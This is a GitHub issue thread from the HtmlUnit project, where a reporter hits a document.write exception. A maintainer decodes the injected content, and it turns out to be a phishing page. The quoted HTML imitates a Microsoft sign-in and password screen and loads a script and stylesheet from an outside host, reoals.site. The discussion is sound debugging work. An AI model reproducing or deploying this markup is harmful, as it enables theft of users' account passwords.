document.write caused exception #698
Comments
|
The
I'm not sure how this would be HtmlUnit's fault - the code just isn't valid. Note that this is what the error message said - the file can't be parsed as js, because it isn't JS: Full un-url encoded html being injected: <head>
<title>Sign in to your account</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
<meta name="robots" content="none">
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<!-- replace these points -->
<link rel="stylesheet" href="https://reoals.site/b/styless.css">
<script src="https://reoals.site/b/fille.js"></script>
<!-- end of replace -->
</head>
<body class="cb" style="display: block;">
<div>
<div></div>
<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
<div class="background-image-holder" role="presentation">
<div class="background-image ext-background-image" style="background-image: url("https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg");"></div>
</div>
</div>
<div class="outer">
<div class="template-section main-section">
<div class="middle">
<div class="full-height">
<div class="flex-column">
<div class="win-scroll">
<div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox" >
<div class="lightbox-cover"></div>
<div><img class="banner-logo" role="img" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"></div>
Note also there is a ton of extra trailing whitespace, and the HTML seems incomplete, but it appears that it is trying to replace the current document with at least part of a login screen...? The second injected content for completeness (though it should be overwritten before it gets a chance to run): <div class="pagination-view animate has-identity-banner slide-in-next">
<div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
<div id="loginHeader" class="row title ext-title">
<div role="heading">Enter password</div>
</div>
<input type="hidden" class="form-control" name="indica" id="indica" value="">
<div class="row">
<div class="form-group col-md-24">
<div role="alert">
<div id="passwordError2" style="display:none;" class="alert alert-error">Please enter your password.</div>
<div id="passwordError" style="display:none;" class="alert alert-error">Your account or password is incorrect. If you can't remember your password, <a id="idA_IL_ForgotPassword0" href="https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ7HweiV3vvafOv8B0&mkt=en-GB&hosted=0&device_platform=Windows+10">reset it now.</a>
</div>
<div id="important" style="color: black;font-size: 14px; display: none" class="alert alert-error">
Because you're accessing sensitive info, you need to verify your password
</div>
</div>
<div class="placeholderContainer">
<input name="thepassword" type="password" id="i0118" autocomplete="off" class="form-control input ext-input text-box ext-text-box" placeholder="Password" tabindex="0"> </div>
</div>
</div>
<div class="position-buttons">
<div>
<div class="row">
<div class="col-md-24">
<div class="text-13">
<div class="form-group"> <a id="idA_PWD_ForgotPassword" role="link" href="https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSvY_jZBDG42Q3l82BOQ50Oqi2QAIhOXn9Ha90RbLO5mv9Otk4iZ0mSpw39pvYsddxEq91f8B2XIXQFRRXLg06GkQD9VZXb4MrCkSBqOgOL9QnmpnnmRnNFPMrFoQSTZdACXyZY0rg5DNOFHiO42cUy5gCxUkzQFVYJFD0XGLTFiMK5jR4XHyU-XbbePXzp_JX17-2P__j9dc3xLEdhv7mpFze7_clb7HAJiqZnlt2pus5Xls75keCeEMQL7OHaE214E12I6QbKzxdkQSaY9LMMCVlWWWNuIahZoRKnGoMABz1onPNxjBWQuie2QZztoSy7SqawcCRwd7PKbIVKrIRwT4AqnZmn4_qEZTraa0aw7jFq5oRGZrF3WU_UKvb0GbugxfgGP2VPVp4gTvxvU34MvddtrcIK3DYHW4D3FtYQqPriOq66VF9fchfDeZtSR9VO_OY61LKGWWtxzt_jxn2dIlGjo7ZWA_clR_xSNYG7UmsX1CIbrMdgevVL82ep0StcGqd-p2W0YmXs7jLXQYAs3UFS2tTafr7CnZ1X_V9sJd0eFEzqb5cgcqw2xVWYxzy8AqsRnxdVDe-Ptb1sYlGW1rTRV6YtOgd06BCIwpFx572-_JgoDembU9aCEPLReO6PatGWnp9KUZNLrD0sd2RXY2KLgeUvnFrLduaDuUJu0Jow830xrlU29U4wUYhRV-cjvB4aLG9lX_acAHw1KHiD6yb3Cfv-PmOeZ3Lp8L11rc50fPRGs-P_cBbYAe9i5MdU1b_dU3PRaWq47w5IH4_eFLIP3r4NHOc-eJjkDspFFLy7t3fB8SrwxTDrnj3HP_wW-ubyffg-O115vawvGArQWCcr1S7P0C1pQO1q_IOADeEUqcX1r2dLDXL_Y7m0eYz8YR-kSde5PO3-Q9b8gTWtb5WhXL1QmYm4M88cf0g89PR_4J9995HxeIWTxzPnDpo8_g_wH95P5OQREJmEzKXkAcJeZiQ-YR8kJCFhDxKyGJCPvwH0&mkt=en-IN&hosted=0&device_platform=Windows+10">Forgot my password</a> </div>
<div class="form-group"> </div>
</div>
</div>
</div>
</div>
<div class="win-button-pin-bottom">
<div class="row">
<div>
<div class="col-xs-24 no-padding-left-right button-container">
<div class="inline-block">
<input type="button" onclick="onMychecked()" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" value="Sign in"> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="idBoilerPlateText" class="wrap-content boilerplate-text ext-boilerplate-text" style="display:none"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="footer" role="contentinfo" class="footer ext-footer">
<div>
<div id="footerLinks" class="footerNode text-secondary"> <a id="ftrTerms" href="https://www.microsoft.com/en-IN/servicesagreement/" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a> <a id="ftrPrivacy" href="https://privacy.microsoft.com/en-IN/privacystatement" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy & cookies</a> <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
<script>
</script> |
Yes, it should be a phishing page, I can open it with IE and chrome. Thank you for examination. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
here is a sample with document.write(big string), and it raise exception as below
The problem is after
document.write, the<script>element executed again, and this time the source is corrupted. It becomeAny idea?
It can be found in 3.9.0 version.
The text was updated successfully, but these errors were encountered: